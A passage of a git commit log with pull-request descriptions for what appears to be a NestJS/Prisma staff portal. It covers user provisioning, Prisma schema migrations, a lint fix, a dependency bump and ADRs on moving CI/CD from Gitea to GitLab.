- **No email-based dedup in v1.** `Person.email` is indexed (not unique). The provisioner keys ONLY on `entraOid`. ADR-0026 §"Why no email-based merging in v1" — two distinct humans genuinely share emails; ADR-0029's sync flow handles operator-confirmed reconciliation.
- **Race-condition handling on first sign-in.** Two concurrent first-sign-ins for the same `entraOid` both fall through to `create`. The unique constraint on `User.entraOid` rejects the loser with P2002; the provisioner catches that specific code and re-runs `ensureUser` — fast path now warm. Pathological infinite-loop guarded by the warm-path behaviour on the second attempt. Spec covers the success retry + the non-P2002 propagation paths.
- **ScopeResolver seam moved from `{ entraOid }` to `{ userId }`.** The stub doesn't care about its argument either way; the change is the seam for ADR-0026 PR 2's `PrismaScopeResolver`, which keys `userScope` queries on `User.id` (UUID). Doing the rename now keeps PR 2 to "swap the implementation" only.
- **`PersonAndUserProvisioner.SELF_SIGNIN_SOURCE`** is a typed constant inside the class, not a magic string. Defense in depth: TS type union (compile-time) + drift gate (`source: 'self-signin'` literal is in a file importing `person-source.ts` — flagged if it ever drifts off-catalogue) + runtime `isPersonSource` check (error log + throw if the constant is mutated to an off-catalogue value).
- **UserDirectoryService stays.** ADR-0020's admin-list cache is functionally redundant with Person + User now, but folding it would extend the PR scope (DTO + reader + admin UI + migration of existing rows). Out of scope here — flagged as a follow-up.

## Local verification

- [x] `node scripts/check-catalogue-drift.mjs` — clean (`4 privileges, 24 roles, 7 structure kinds, 3 person sources`).
- [x] `node --test scripts/check-catalogue-drift.spec.mjs` — **29 tests passing** (was 22 — +7 for PERSON_SOURCES).
- [x] `pnpm exec nx lint portal-bff` — **0 errors**, 13 warnings (all pre-existing, none from this PR).
- [x] `pnpm exec nx test portal-bff` (filtered to the 6 affected spec files) — **766 tests passing**.
- [x] `pnpm exec prisma generate` — client regenerated with the 3 new models.

## Test plan — remaining (on a fresh dev DB)

- [ ] `./infra/local/dev.sh down -v && ./infra/local/dev.sh up` (wipe + reboot) then `cd apps/portal-bff && pnpm exec prisma migrate dev` — applies the new migration cleanly, no drift prompt.
- [ ] `pnpm exec prisma studio` — `persons` / `users` / `user_scopes` tables visible, all empty (no seed in this PR).
- [ ] Sign in via `apf-portal` against the test tenant — `users` table gets one row, `persons` table gets one row, `user_scopes` stays empty. Principal in the session carries the provisioned UUIDs (not the `entraOid`).
- [ ] **Review focus** — the provisioner's race-handling logic; the `Entra preferred_username → Person.email` mapping in `SessionEstablisher`; the ScopeResolver seam change rationale; the FK actions in the migration SQL (especially CASCADE on UserScope.userId vs RESTRICT on User.personId).

## What's next

- **ADR-0026 PR 2** — `PrismaScopeResolver` replacing `StubScopeResolver` + `/admin/users/:id/scopes` admin-app screen + `prisma/seed.ts` populating the 19 test personas' `user_scopes` per `notes/test-tenant-role-assignments.md` (referencing this PR's `User.id` and ADR-0027 PR 1's `Structure.code` values).
- **Future PR (out of this scope)** — fold `UserDirectoryEntry` into Person + User now that the latter exists. Touches AdminUsersReader, the DTO, the admin SPA, and a data migration for existing rows. Defer until ADR-0026 PR 2 stabilises.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #232
2026-05-26 13:57:36 +02:00
julien cba36394c9 fix(structures): widen via String() in narrowing test to satisfy lint (#231)
CI / check (push) Successful in 4m26s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m33s
CI / a11y (push) Successful in 3m7s
CI / perf (push) Successful in 7m44s
## Summary

One-line lint fix in [apps/portal-bff/src/structures/structure-kind.spec.ts](apps/portal-bff/src/structures/structure-kind.spec.ts) — the narrowing test failed CI lint with `@typescript-eslint/no-inferrable-types` on `const candidate: string = 'medico_social'`.

The naive fix (drop the annotation) would make the test vacuous: TypeScript would infer the literal type `'medico_social'`, which is already a `StructureKind` subtype, so the runtime guard `isStructureKind` would have nothing to prove. Fix instead: widen via `String('medico_social')` — the inferred return type is `string`, the narrowing check stays meaningful, the linter is happy.

## What lands

| File | Change |
| --- | --- |
| `apps/portal-bff/src/structures/structure-kind.spec.ts` | `const candidate: string = 'medico_social'` → `const candidate = String('medico_social')`. 3-line comment explains why `String()` rather than dropping the annotation. |

## Test plan

- [x] `pnpm exec nx lint portal-bff` — `0 errors, 13 warnings` (warnings all pre-existing in unrelated files).
- [x] `pnpm exec prettier --check` clean.
- [ ] **CI** — `pnpm ci:check` passes on this PR.
- [ ] **Review focus** — the comment block explaining the round-trip rationale (otherwise the `String('literal')` pattern reads like over-engineering).

## Notes for the reviewer

- **Pre-existing warnings are NOT addressed here.** The 13 remaining lint warnings (non-null assertions in `principal-extractor.spec.ts`, unused underscored params in `rate-limit.middleware.ts`, one stale eslint-disable in `downstream-token-cache.service.spec.ts`) are outside the scope of this PR — none of them block CI today, and folding them in would muddle the diff. Worth a separate `chore(bff): sweep lint warnings` PR if/when those become noisy.
- **Why `String()` over an `as string` cast?** Both would work, but `String()` is a real runtime operation (returns a fresh `string`) — `as string` is type-system-only. The runtime call has a tiny side-effect (and the inferred return type really IS `string`, not the literal), so the narrowing test stays semantically real.
- **No new error class.** The lint rule `@typescript-eslint/no-inferrable-types` is set to `error` severity in the workspace config; my narrowing test was just the first case to trip it.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #231
2026-05-26 13:36:41 +02:00
APF Portal Bot 8d43717d25 fix(deps): update dependency @scalar/nestjs-api-reference to v1.1.19 (#225)
CI / commits (push) Has been skipped
CI / scan (push) Successful in 4m25s
CI / check (push) Failing after 7m3s
CI / a11y (push) Successful in 2m52s
CI / perf (push) Successful in 7m55s
Docs site / build (push) Successful in 5m2s
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [@scalar/nestjs-api-reference](https://github.com/scalar/scalar) ([source](https://github.com/scalar/scalar/tree/HEAD/integrations/nestjs)) | dependencies | patch | [`1.1.16` -> `1.1.19`](https://renovatebot.com/diffs/npm/@scalar%2fnestjs-api-reference/1.1.16/1.1.19) |

---

### Release Notes

<details>
<summary>scalar/scalar (@&#8203;scalar/nestjs-api-reference)</summary>

### [`v1.1.19`](https://github.com/scalar/scalar/blob/HEAD/integrations/nestjs/CHANGELOG.md#1119)

### [`v1.1.18`](https://github.com/scalar/scalar/blob/HEAD/integrations/nestjs/CHANGELOG.md#1118)

### [`v1.1.17`](https://github.com/scalar/scalar/blob/HEAD/integrations/nestjs/CHANGELOG.md#1117)

</details>

---

### Configuration

📅 **Schedule**: Branch creation - At any time (no schedule defined), Automerge - At any time (no schedule defined).

🚦 **Automerge**: Enabled.

♻ **Rebasing**: Whenever PR is behind base branch, or you tick the rebase/retry checkbox.

🔕 **Ignore**: Close this PR and you won't be reminded about this update again.

---

 - [ ] <!-- rebase-check -->If you want to rebase/retry this PR, check this box

---

This PR has been generated by [Renovate Bot](https://github.com/renovatebot/renovate).
<!--renovate-debug:eyJjcmVhdGVkSW5WZXIiOiI0MC42Mi4xIiwidXBkYXRlZEluVmVyIjoiNDAuNjIuMSIsInRhcmdldEJyYW5jaCI6Im1haW4iLCJsYWJlbHMiOlsiZGVwZW5kZW5jaWVzIl19-->

Reviewed-on: #225
Co-authored-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
Co-committed-by: APF Portal Bot <jgautier.webdev+apf-portal-bot@gmail.com>
2026-05-26 13:25:51 +02:00
julien b84b58068a refactor(users): rename Prisma User model to UserDirectoryEntry (#230)
CI / check (push) Failing after 3m36s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m46s
CI / a11y (push) Successful in 1m44s
CI / perf (push) Successful in 4m41s
## Summary

**Mechanical refactor only**, prerequisite to ADR-0026 PR 1. Renames the existing Prisma `User` model (the ADR-0020 user-directory cache, `oid` PK, written by `UserDirectoryService.recordSignIn`) to `UserDirectoryEntry`. Frees the `User` name for the upcoming ADR-0026 model (UUID PK, FK to `Person`, `lastSignInAt` — different semantics).

Zero behavioural change. Same columns, same indexes, same constraints, same call sites — just a different identifier on the model and the table.

## What lands

| File | Change |
| --- | --- |
| `apps/portal-bff/prisma/schema.prisma` | `model User` → `model UserDirectoryEntry`. `@@map("users")` → `@@map("user_directory_entries")`. Comment block extended to flag the upcoming distinction from ADR-0026's new `User`. |
| `apps/portal-bff/prisma/migrations/20260526200000_rename_users_to_user_directory_entries/migration.sql` | **New**. `ALTER TABLE "users" RENAME TO "user_directory_entries"` + `ALTER INDEX` renames for the PK constraint and the two named indexes (Postgres doesn't auto-rename these on table rename). |
| `apps/portal-bff/src/users/user-directory.service.ts` | Two renames: the **TS input interface** `UserDirectoryEntry` → `RecordSignInInput` (the existing name was a misnomer — it's the input to `recordSignIn`, not the entry itself, and would collide with the Prisma-generated `UserDirectoryEntry` type after the model rename). The **Prisma client ref** `this.prisma.user.upsert` → `this.prisma.userDirectoryEntry.upsert`. |
| `apps/portal-bff/src/users/user-directory.service.spec.ts` | Imports / mock setup / fixture type updated to track the two renames. |
| `apps/portal-bff/src/admin/admin-users-reader.service.ts` | `this.prisma.user.{count,findMany}` → `this.prisma.userDirectoryEntry.{count,findMany}`. `Prisma.UserWhereInput` → `Prisma.UserDirectoryEntryWhereInput`. Doc comments mentioning `public.users` updated to `public.user_directory_entries`. The class name `AdminUsersReader`, the endpoint URL `/api/admin/users`, the DTO `AdminUserDto`, and the local `interface UserRow` are unchanged — these are SPA/HTTP-facing identifiers, where the URL semantics ("admin user list") still hold regardless of the backing table name. |
| `apps/portal-bff/src/admin/admin-users-reader.service.spec.ts` | Mock setup updated to track the Prisma client field rename. |

## Why two renames in one file

`apps/portal-bff/src/users/user-directory.service.ts` had a TypeScript `interface UserDirectoryEntry` carrying the **input shape** of `recordSignIn(entry: UserDirectoryEntry)`. After the Prisma model rename to `UserDirectoryEntry`, that name would clash with the Prisma-generated row type. The fix is to rename the TS interface to its proper role — `RecordSignInInput` — at the same time. Net effect: clearer naming on both sides (the call-input name now describes the call, the persisted-row type name now describes the row).

## Recovery procedure (for anyone with the old migration applied locally)

The new migration `20260526200000_rename_users_to_user_directory_entries` is a pure `ALTER TABLE ... RENAME` + index renames — Prisma's `migrate dev` runs it forward without prompting:

```bash
cd apps/portal-bff && pnpm exec prisma migrate dev
# Should report: "Applied migration `20260526200000_rename_users_to_user_directory_entries`"
```

No `down -v` needed — existing data carries over.

## Test plan

- [x] `node scripts/check-catalogue-drift.mjs` — clean (4 / 24 / 7).
- [x] `node --test scripts/check-catalogue-drift.spec.mjs` — 22 tests passing.
- [x] `pnpm exec prettier --check` clean on the touched files.
- [x] Sweep grep — zero leftover `model User`, `prisma.user.`, `Prisma.UserWhereInput`, `interface UserDirectoryEntry`, or `public.users` references anywhere under `apps/portal-bff/src/` or `apps/portal-bff/prisma/`.
- [ ] **Locally**: `pnpm exec prisma migrate dev` applies the rename migration cleanly; `pnpm exec nx test portal-bff` runs the updated specs green.
- [ ] **Review focus** — the two-rename rationale in `user-directory.service.ts`, the migration's `ALTER INDEX` clauses (don't forget those — `ALTER TABLE ... RENAME` does NOT cascade to index names in Postgres), the unchanged class/URL/DTO/local-interface identifiers in `admin-users-reader.service.ts`.

## Why ship as a separate PR

ADR-0026 PR 1's nominal scope is `Person` + `User` + `UserScope` + provisioner + drift gate + PrincipalBuilder — already ~15+ files touched. Folding the rename into that PR would mix mechanical refactor with new design. Splitting keeps both PRs reviewable for what they actually do.

## What's next (post-merge)

**ADR-0026 PR 1** — `Person` + new `User` + `UserScope` schema + `PersonAndUserProvisioner` wired into `SessionEstablisher` + `Person.source` catalogue + drift-gate extension + `PrincipalBuilder` populating `Principal.user.{id, personId}` from real rows. Now unblocked.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #230
2026-05-26 12:42:23 +02:00
julien ff1713eb6d fix(structures): align Structure.delegation_code FK action with Prisma default (#229)
CI / check (push) Failing after 4m9s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m44s
CI / a11y (push) Successful in 2m58s
CI / perf (push) Successful in 5m34s
## Summary

Single-line fix on the `add_org_hierarchy` migration shipped in [#228](#228) (ADR-0027 PR 1). The FK action on `Structure.delegation_code` was `ON DELETE RESTRICT` (Prisma's default for **required** relations); the field is **optional** (`Structure.delegation Delegation?`), so Prisma's default is `ON DELETE SET NULL`. Mismatch caused `prisma migrate dev` to detect drift and prompt for a corrective migration on every run.

Caught locally on first VM-side validation (the workspace dev DB). No production deployment of #228 yet, so the fix is **edit-in-place** rather than a corrective sibling migration — keeps the repo's migration history clean.

## What lands

| File | Change |
| --- | --- |
| `apps/portal-bff/prisma/migrations/20260526143000_add_org_hierarchy/migration.sql` | `ON DELETE RESTRICT` → `ON DELETE SET NULL` on the `structures_delegation_code_fkey` FK. Inline comment explains the rule (nullable Prisma relation → SET NULL is the matching default; not matching it generates drift on every `migrate dev`). |

That's it. One line of SQL, one comment block. No schema.prisma change, no test change, no other file touched.

## Why edit-in-place vs new corrective migration

Edit-in-place is safe here because:

- The broken migration only exists in **dev local DBs** (Julien's WSL postgres). No staging, no preview env, no prod has applied it.
- Every dev who pulls this PR's fix wipes their local DB (`./infra/local/dev.sh down -v`) and reapplies — clean migration history, no "modified after applied" warning.
- The repo's migration list stays minimal — adding a corrective migration would carry the wart forever in `prisma/migrations/`.

Once a non-dev environment has applied a migration, the rule reverses: corrective migration mandatory, never edit in place. ADR-0015's "trunk-based + squash-merge" and the absence of a deployed environment at this stage gives us this one-time window.

## Recovery procedure for anyone who applied #228

```bash
# From the workspace root
./infra/local/dev.sh down -v   # wipe the local postgres volume
./infra/local/dev.sh up

# Pull this fix
git pull   # or git switch fix/adr-0027-pr1-fk-action-on-delete depending on local state

# Reapply migrations — no prompt this time
cd apps/portal-bff && pnpm exec prisma migrate dev
# Should report: "Applied migration `20260526143000_add_org_hierarchy`" and exit cleanly.
```

If anyone has a stray `drift_inspection/` folder under `prisma/migrations/` (artifact of the `--create-only` debugging step), delete it before reapplying — it's not in the repo, it was just diagnostic output.

## Test plan

- [x] `node scripts/check-catalogue-drift.mjs` — clean (unchanged by this fix).
- [x] `node --test scripts/check-catalogue-drift.spec.mjs` — 22 tests passing (unchanged).
- [x] `pnpm exec prettier --check` clean (SQL file unaffected by prettier but verified).
- [ ] **Locally on WSL** — wipe DB → pull fix → `prisma migrate dev` exits clean, no drift prompt.
- [ ] **Review focus** — the comment block in the migration explaining the rule (future-proof against the same mistake when ADR-0026 PR 1 adds optional relations).

## Notes for the reviewer

- **Why a comment block on the FK line, not on every nullable FK in future migrations?** This was caught the first time we hit it; a short note at the offending site is cheaper than amending `CLAUDE.md` with a "remember to match Prisma default actions" rule. If we hit the same mistake on ADR-0026 PR 1's `Person`/`User`/`UserScope` migration, we'll consider promoting it. For now: one inline comment at the place where the rule is non-obvious.
- **The drift gate doesn't catch this kind of mistake.** Catalogue drift gate scans string literals against TypeScript catalogues — it doesn't look at SQL referential actions. Postgres CHECK constraints (introduced for `Structure.kind` in this same migration) are not the same surface as FK referential actions. Catching this required actually running `prisma migrate dev`. A possible future improvement: a CI gate that runs `prisma migrate diff --from-migrations --to-schema-datamodel --script --shadow-database-url …` and fails if the diff is non-empty (zero-drift gate). Worth an ADR amendment if it becomes a recurring class of bug.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #229
2026-05-26 12:11:13 +02:00
julien ba4cdcee7a feat(structures): add Region/Delegation/Structure schema + seed (ADR-0027 PR 1) (#228)
CI / check (push) Failing after 3m51s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m27s
CI / a11y (push) Successful in 1m53s
CI / perf (push) Successful in 5m31s
## Summary

First implementation PR for [ADR-0027](docs/decisions/0027-portal-side-organisational-hierarchy.md) (`Region` / `Delegation` / `Structure` portal-side organisational hierarchy). **Schema + seed + drift-gate extension only** — no consumer code yet (the `PrismaScopeResolver` that dereferences `Structure.code` from `UserScope.value` lives in ADR-0026 PR 2, which depends on this PR landing first).

Independent of ADR-0026 PR 1 at the schema level — both can ship in parallel; ADR-0026 PR 2 depends on both.

## What lands

| File | Change |
| --- | --- |
| `apps/portal-bff/prisma/schema.prisma` | **+3 models**. `Region` (INSEE code PK + name + delegations[]). `Delegation` (dept code PK + name + regionCode FK + structures[]). `Structure` (portal code PK + name + kind discriminator + nullable unique finess/siret/codePaie + nullable delegationCode FK). All in the `public` schema; matches the ADR-0027 schema sketch verbatim. |
| `apps/portal-bff/prisma/migrations/20260526143000_add_org_hierarchy/migration.sql` | **New** hand-written migration. DDL for the 3 tables. `CHECK ("kind" IN (...))` constraint mirroring `STRUCTURE_KINDS`. Indexes (FK columns + kind + uniques). Inline INSERT seed: Région Nouvelle-Aquitaine (75), Délégation Gironde (33), structures `0330800013` + `0330800021` (médico-social, FINESS = code) + `siege` (APF national, no delegation/finess). |
| `apps/portal-bff/src/structures/structure-kind.ts` | **New**. Closed-set catalogue: `STRUCTURE_KINDS = [medico_social, antenne, dispositif, entreprise_adaptee, mouvement, administratif, siege] as const`. `type StructureKind` derived from the union, `isStructureKind` type guard. |
| `apps/portal-bff/src/structures/structure-kind.spec.ts` | **New**. Jest spec — catalogue content, no duplicates, type guard true for catalogue values + false for typos / cascade-only values / empty, type narrowing at call site. |
| `scripts/check-catalogue-drift.mjs` | **Extend**. New `extractStructureKinds(path)` + `findStructureKindViolationsInFile(path, validKinds, sourceText?)`. Property-literal scanner: detects `kind: 'X'` in object literals, restricted to files that import from `structure-kind.ts` (cheap text pre-filter — `kind` is a common property name on unrelated objects and we'd false-positive everywhere otherwise). Integrated into `scanWorkspace`. Error-message formatter switched on callee shape (`@Foo('x')` for decorators, `kind: 'x'` for property literals). Closing hint updated to reference both ADR-0025 and ADR-0027 catalogue locations. |
| `scripts/check-catalogue-drift.spec.mjs` | **Extend**. Fixture writes a synthesised `structure-kind.ts` alongside `authorization.types.ts`. New tests: extract STRUCTURE_KINDS, throw on missing constant, skip files without the import, no-violation on catalogue values, flag off-catalogue values, skip non-literal initialisers, line/column tracking, scanWorkspace aggregation (decorator + Structure.kind together), scanWorkspace exposes the structureKinds set. **22 tests total, all passing.** |

## Defense in depth

Three layers stack for `Structure.kind`, deliberately:

1. **TypeScript type union** `StructureKind` — compile-time check at every typed assignment.
2. **Postgres `CHECK` constraint** in the migration — runtime enforcement at INSERT / UPDATE, defends raw SQL / casts / untrusted API input.
3. **`scripts/check-catalogue-drift.mjs`** — CI gate asserting every `kind: 'X'` literal in structure-context files is in the catalogue.

The `Privilege` / `FunctionalRole` catalogues from ADR-0025 only have layer 1 + layer 3 (no DB enforcement — those values aren't persisted as schema-checked columns). ADR-0027's `Structure.kind` is persisted, so layer 2 was practical to add — bulletproof against any code path that bypasses the type system.

## Seed scope (and what's deliberately NOT in it)

Just what the 19 test-tenant personas reference per `notes/test-tenant-role-assignments.md`:

- `Region` 75 Nouvelle-Aquitaine (only region the personas exercise)
- `Delegation` 33 Gironde (only delegation)
- `Structure` 0330800013 (APF Bordeaux, medico-social, FINESS = code)
- `Structure` 0330800021 (Complexe Mérignac, medico-social)
- `Structure` `siege` (APF national, kind=siege, no FK to a delegation, no FINESS)

**No** placeholder `entreprise_adaptee`, `antenne`, or `dispositif` row — those kinds are valid per the catalogue but the test tenant doesn't exercise them, and adding gold-plate seed data would be misleading ("what is this row used for?"). The full APF inventory lands with [ADR-0029](#)'s cascade sync; this seed is **superseded** (not extended) by that sync.

## Notes for the reviewer

- **Naming conflict with the existing `User` model.** The current `schema.prisma` already has a `User` model — but it's the ADR-0020 user-directory cache (Entra `oid` as PK, written by `UserDirectoryService.recordSignIn`). ADR-0026 PR 1 introduces a different `User` (UUID PK, FK to `Person`, `lastSignInAt`). **Out of scope here** — ADR-0027 PR 1 doesn't touch `User`. Flagging now so ADR-0026 PR 1 can plan the migration path (likely: rename the existing `User` to `UserDirectoryEntry` or fold it into the new Person + User pair).
- **Migration is hand-written**, matching the style of the two existing migrations (`init_audit_schema`, `users_directory`). Timestamp `20260526143000` chosen so it sorts after the existing `20260514192014_users_directory`.
- **`@@schema("public")`** required on every new model because the audit log uses `multiSchema` (per ADR-0013) — the public/audit split is configured at the datasource.
- **Drift gate error-message formatter** now switches on callee shape — decorator violations still print as `@Foo('x')`, property-literal violations print as `kind: 'x'` to match the offending code shape.
- **No `pnpm ci:check` impact expected** at the bff level beyond the new spec; `pnpm ci:catalogue-drift` continues to report clean (`catalogues: 4 privileges, 24 roles, 7 structure kinds`).

## Test plan

- [x] `node scripts/check-catalogue-drift.mjs` — clean (4 / 24 / 7).
- [x] `node --test scripts/check-catalogue-drift.spec.mjs` — 22 tests passing.
- [x] `pnpm exec prettier --check` clean on the touched files.
- [ ] **On the dev VM**: `pnpm prisma migrate dev` applies the migration cleanly against a fresh `infra/local/dev.compose.yml` postgres. `pnpm prisma studio` shows the seeded Region / Delegation / Structure rows.
- [ ] **On the dev VM**: `pnpm exec nx test portal-bff` runs the new `structure-kind.spec.ts` green.
- [ ] **Review focus** — the `Structure` model shape (kind discriminator, nullable unique columns, FK to Delegation), the inline seed values vs `notes/test-tenant-role-assignments.md`, the drift-gate property-literal scanner's restriction to files importing from `structure-kind.ts`.

## What's next

Per [ADR-0027 §"Phasing"](docs/decisions/0027-portal-side-organisational-hierarchy.md):

1. **This PR** — Region / Delegation / Structure schema + seed + drift gate. 
2. **ADR-0026 PR 1** — `Person` / `User` / `UserScope` schema + `PersonAndUserProvisioner` + drift gate extension for `Person.source` + updated `PrincipalBuilder`. Independent of (1), can ship in parallel. **Needs to resolve the existing-`User`-name collision.**
3. **ADR-0026 PR 2** — `PrismaScopeResolver` replacing `StubScopeResolver` + `/admin/users/:id/scopes` admin screen + `prisma/seed.ts` populating the 19 personas' `user_scopes` rows pointing at this PR's `Structure.code` values. **Depends on both (1) and (2).**
4. **ADR-0029** (future) — Pléiades + Acteurs+ + cascade syncs + facet schemas + `Pole` / `Service` / per-source enrichment extensions to this PR's hierarchy.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #228
2026-05-26 11:15:09 +02:00
julien 670f6303fe docs(adr-0028): accept CI/CD + git hosting migration to GitLab (#227)
CI / check (push) Successful in 2m0s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 2m22s
CI / a11y (push) Successful in 3m11s
CI / perf (push) Successful in 6m15s
Docs site / build (push) Successful in 5m11s
## Summary

Promotes [ADR-0028](docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) from `proposed` to `accepted`. Shipped as `proposed` in [#226](#226); no open question left on either drivers, considered options, or the 4-phase migration sequence. Same shape as [#219](#219) (ADR-0026 + ADR-0027 acceptance).

Once merged, **Phase 1** of the migration (`mirror-and-bootstrap` — repos pushed to GitLab, branch protection / MR templates / deploy keys / Renovate reconfig) is unblocked.

## What lands

| File | Change |
| --- | --- |
| `docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md` | Frontmatter `status: proposed → accepted`. |
| `docs/decisions/0015-cicd-gitea-actions.md` | **Status-update note** added at the top, right under the title — calls out that the platform choice "Gitea Actions" is superseded by ADR-0028, while the rest of ADR-0015's architectural principles (trunk-based + squash, all-gates-blocking, thin YAML, on-prem runners, signed commits, Conventional Commits) carry over unchanged. ADR-0015 stays `accepted`. |
| `docs/decisions/README.md` | ADR-0028 row: `proposed → accepted`. |
| `CLAUDE.md` | Roll-up bumped to `ADRs 0001 → 0028 accepted` with a one-sentence explanation that ADR-0028 supersedes only ADR-0015's platform choice. **CI/CD architecture bullet rewritten** to reflect the accepted-but-not-yet-implemented state — "Gitea Actions today, migrating to GitLab CE on `vm-gitlab` per ADR-0028 (4-phase rollout in follow-up PRs)". The architectural detail (gates list, thin YAML, signed commits) was preserved; only the platform headline and the act_runner→GitLab Runner line are touched. Also corrected: `ci:scan` (which doesn't exist as a script) → the real script names (`ci:catalogue-drift`, `ci:audit`, `ci:perf`, `ci:gzip-budgets`). |

## Notes for the reviewer

- **No new Architecture bullet for ADR-0028 itself.** The decision is a *platform shift* for the existing CI/CD architecture, not a new architectural concern — so it folds into the existing ADR-0015 bullet rather than adding a sibling.
- **The annotation pattern on ADR-0015** (status-update blockquote at the top) is the canonical MADR way to handle partial supersession without changing the frontmatter status. The architectural principles are still accepted; only the platform implementation moves. A future reader hitting ADR-0015 first sees the redirect immediately.
- **The CLAUDE.md script-list correction** is a side-fix — `ci:scan` is not a real script name; the actual gates are `ci:check`, `ci:catalogue-drift`, `ci:audit`, `ci:commits`, `ci:perf`, `ci:gzip-budgets`. Updated in the same touch since the bullet was being rewritten anyway.
- **No code changes**, so no `pnpm ci:check` impact. `pnpm exec prettier --check` clean on the four touched files.

## Test plan

- [x] `pnpm exec prettier --check` — clean on the four touched files.
- [x] ADR-0015 → ADR-0028 cross-reference resolves (the new blockquote link).
- [x] `ADRs 0001 → 0028 accepted` matches reality (`grep '^status: ' docs/decisions/*.md` shows everything below 0029 as `accepted`).
- [ ] **Review focus** — the ADR-0015 status-update note phrasing, the CLAUDE.md CI/CD bullet rewrite (especially the "carry over" wording), the roll-up sentence about partial supersession.

## What's next (post-merge)

1. **Phase 1 — `mirror-and-bootstrap`** — `git push --mirror gitlab` for `apf_portal` and the proto vendoring in `apf-ai-service`. GitLab side: groups, projects, branch protection (mirror Gitea's), MR templates, deploy keys, Renovate reconfigured for GitLab. **No `.gitlab-ci.yml` yet** — Gitea pipelines continue to gate. Ops work primarily; the only PR-shaped output is a Renovate config update on the apf-portal repo if its host detection changes.
2. **Phase 2 — `gitlab-ci-pipeline`** — `.gitlab-ci.yml` lands alongside `.gitea/workflows/ci.yml`. Both pipelines run in parallel for ~1 calendar week. GitLab Runner registered on `vm-gitlab`.
3. **Phase 3 — `cutover`** — remotes flip in CLAUDE.md, READMEs, `docs/setup/01-dev-debian-vm-setup.md` §8.3. `.gitea/workflows/` + `infra/ci-runners.compose.yml` deleted, Gitea read-only / archive.
4. **Phase 4 — `cleanup`** — stale references sweep, required signed-commits on `main` enabled.

In parallel — once you've finished walking through the dev VM bootstrap — the paused **ADR-0027 PR 1** (Region / Delegation / Structure Prisma schema + inline seed) and **ADR-0026 PR 1** (Person / User / UserScope schema + provisioner) can ship on Gitea; they're decoupled from the migration and don't need to wait for it.

---------

Co-authored-by: Julien Gautier <julien.gautier@apf.asso.fr>
Reviewed-on: #227
2026-05-26 10:54:55 +02:00
julien 04ee535de9 docs(adr-0028): propose CI/CD + git hosting migration Gitea -> GitLab (#226)
CI / check (push) Successful in 3m28s
CI / commits (push) Has been skipped
CI / scan (push) Successful in 3m3s
CI / a11y (push) Successful in 4m21s
CI / perf (push) Successful in 6m6s
Docs site / build (push) Successful in 5m59s
## Summary

Drafts [ADR-0028](docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md) as `proposed`: migrate CI/CD + git hosting from Gitea (`git.unespace.com`) to GitLab CE self-hosted on `vm-gitlab` (`10.100.201.10`). The migration was anticipated by [ADR-0015](docs/decisions/0015-cicd-gitea-actions.md) ("level-2 implementation; will be superseded by a GitLab migration ADR within 6-18 months") — that window opens now. **Decision-only PR** — the actual 4-phase migration ships across follow-up PRs after acceptance.

ADR-0028's number was previously a placeholder reference in ADR-0026 and ADR-0027 for the Pléiades + Acteurs+ sync ADR. **Renumbering**: that future sync ADR shifts to `ADR-0029`, and the placeholder links in ADR-0026, ADR-0027 and `CLAUDE.md` update to match — included in the same PR so the chain stays consistent.

## What lands

| File | Change |
| --- | --- |
| `docs/decisions/0028-migrate-cicd-and-git-hosting-to-gitlab.md` | **New.** MADR 4.0.0 ADR, `proposed`. Decision = Option B (GitLab CE on `vm-gitlab`). Considered options A (status quo Gitea), C (Forgejo), D (cloud SaaS). Documents what carries over from ADR-0015 (architectural principles unchanged — thin YAML, trunk-based, all-gates-blocking, on-prem runners), what changes (host, pipeline file, runner type, scan tooling), the 4-phase migration sequence, and the signed-commits revisit. |
| `docs/decisions/0026-person-user-portal-data-model.md` | All 11 `ADR-0028` references → `ADR-0029` (sync + facets shifts to 0029). |
| `docs/decisions/0027-portal-side-organisational-hierarchy.md` | All 14 `ADR-0028` references → `ADR-0029`. |
| `docs/decisions/README.md` | New row for ADR-0028 (`proposed`, tags `infrastructure`, `process`, 2026-05-26). |
| `CLAUDE.md` | Roll-up updated: `ADRs 0001 → 0027 accepted; ADR-0028 + ADR-0029 proposed`. ADR-0028's relationship to ADR-0015 spelled out inline ("supersedes ADR-0015's Gitea Actions platform choice — the rest of ADR-0015's architectural principles carry over unchanged"). ADR-0026 + ADR-0027 architecture bullets renumbered 0028 → 0029 to track. |

## Key choices in the ADR

- **What carries over from ADR-0015 vs what changes** — explicit table so future readers see immediately that the migration is **platform-only**, not a re-litigation of CI principles. Trunk-based + squash, all-gates-blocking, thin YAML over portable scripts (`pnpm ci:check` etc. — unchanged), on-prem runners, Conventional Commits in CI + hook (defense in depth) — all carried over. Host, pipeline-file grammar, runner type, and scan tooling are the only things that move.
- **Native security scanning replaces the manual Trivy + gitleaks setup.** GitLab CE's built-in `Dependency-Scanning.gitlab-ci.yml` + `Secret-Detection.gitlab-ci.yml` includes consolidate the ~30 lines of inline `curl + tar` install dance currently in `.gitea/workflows/ci.yml`. Same blocking thresholds (CRITICAL+HIGH dependency vulns, any secret).
- **`vm-gitlab` is already provisioned.** No infra wait — the only sequencing constraint is operator-driven, not infrastructure-driven.
- **4-phase migration, parallel pipelines for ~1 week before cutover.** Phase 1 mirrors repos and bootstraps GitLab side (no `.gitlab-ci.yml` yet — Gitea still gates). Phase 2 lands `.gitlab-ci.yml` alongside `.gitea/workflows/ci.yml` so both pipelines run per PR until parity is confirmed. Phase 3 flips the remote URLs and deletes `.gitea/workflows/` + `infra/ci-runners.compose.yml`. Phase 4 sweeps stale references.
